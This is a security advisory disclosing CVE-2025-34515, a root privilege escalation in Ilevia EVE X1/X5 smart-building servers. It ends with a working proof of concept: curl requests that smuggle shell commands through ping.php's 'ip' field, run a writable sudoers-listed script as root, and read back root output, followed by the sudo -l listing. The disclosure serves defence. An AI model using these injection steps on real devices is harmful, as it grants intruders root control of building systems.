📄 Ilevia EVE X1/X5 Server 4.7.18.0.eden Root Privilege Escalation

Ilevia EVE X1/X5 Server 4.7.18.0.eden Root Privilege Escalation
    
    
    Vendor: Ilevia Srl.
    Product web page: https://www.ilevia.com
    Affected version: <= 4.7.18.0.eden (Logic ver: 6.00)
    
    Summary: EVE is a smart home and building automation solution designed
    for both residential and commercial environments, including malls, hotels,
    restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive
    control and monitoring of electrical installations through a highly customizable,
    user-friendly interface.
    
    EVE is a multi-protocol platform that integrates various systems within
    a smart building to enhance comfort, security, safety, and energy efficiency.
    Users can manage building functions via iPhone, iPad, Android devices, Windows
    PCs, or Mac computers.
    
    The EVE X1 Server is the dedicated hardware solution for advanced building
    automation needs. Compact and powerful, it is ideal for apartments, small
    to medium-sized homes, and smaller commercial installations. It is designed
    to manage entire automation systems reliably and efficiently.
    
    Desc: A misconfiguration in the sudoers file permits passwordless execution
    of specific Bash shell scripts via sudo, exposing a critical privilege escalation
    vulnerability. When such scripts are writable by a web-facing user (www-data) or
    accessible through a command injection vector, an attacker can overwrite or replace
    them with malicious payloads. Upon execution with sudo, these scripts run with
    elevated privileges, allowing the attacker to gain full root access remotely.
    
    Tested on: GNU/Linux 5.4.35 (armv7l)
               GNU/Linux 4.19.97 (armv7l)
               Armbian 20.02.1 Buster
               Apache/2.4.38 (Debian)
               PHP Version 7.3.14
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2025-5965
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5965.php
    CVE ID: CVE-2025-34515
    CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-34515
    
    
    01.05.2024
    
    --
    
    
    $ curl -X POST "http://ilevia:8080/ajax/php/ping.php" -d "ip=$(echo 'id' >>/home/ilevia/www-config/http/emlite/sync_project.sh)"
    $ curl -X POST "http://ilevia:8080/ajax/php/ping.php" -d "ip=$(sudo /home/ilevia/www-config/http/emlite/sync_project.sh >/tmp/test)"
    0
    $ curl -X POST "http://ilevia:8080/ajax/php/dbcheck.php" -d "db_log=/tmp/test"
    {"error":""}
    uid=0(root) gid=0(root) groups=0(root)
    
    ..
    
    $ sudo -l
    Matching Defaults entries for www-data on eve:
        env_reset, mail_badpass,
        secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
        env_keep+=NO_AT_BRIDGE, env_keep+="http_proxy HTTP_PROXY",
        env_keep+="https_proxy HTTPS_PROXY", env_keep+="ftp_proxy FTP_PROXY",
        env_keep+=RSYNC_PROXY, env_keep+="no_proxy NO_PROXY"
    
    User www-data may run the following commands on eve:
        (ALL) NOPASSWD: /etc/init.d/ilevia_services
        (ALL) NOPASSWD: /home/ilevia/www-config/http/sh/ilevia_reboot
        (ALL) NOPASSWD: /home/ilevia/www-config/http/sh/ilevia_general
        (ALL) NOPASSWD: /home/ilevia/bin/ilevia_change_network
        (ALL) NOPASSWD: /home/ilevia/bin/ilevia_change_user_password
        (ALL) NOPASSWD: /home/ilevia/www-config/http/sh/ilevia_zonedatetime
        (ALL) NOPASSWD: /home/ilevia/www-config/http/sh/ilevia_backup
        (ALL) NOPASSWD: /home/ilevia/bin/ilevia_eve_stats
        (ALL) NOPASSWD: /home/ilevia/www-config/http/sh/ilevia_eve_update_firmware
        (ALL) NOPASSWD: /sbin/ifconfig
        (ALL) NOPASSWD: /bin/ping
        (ALL) NOPASSWD: /home/ilevia/bin/vivaldi/blr_vivaldi_discover
        (ALL) NOPASSWD: /home/ilevia/bin/vivaldi/blr_vivaldi_discover.sh
        (ALL) NOPASSWD: /home/ilevia/bin/ilevia_blackbox
        (ALL) NOPASSWD: /home/ilevia/www-config/http/emlite/emlight_bridge
        (ALL) NOPASSWD: /home/ilevia/www-config/http/emlite/sync_project.sh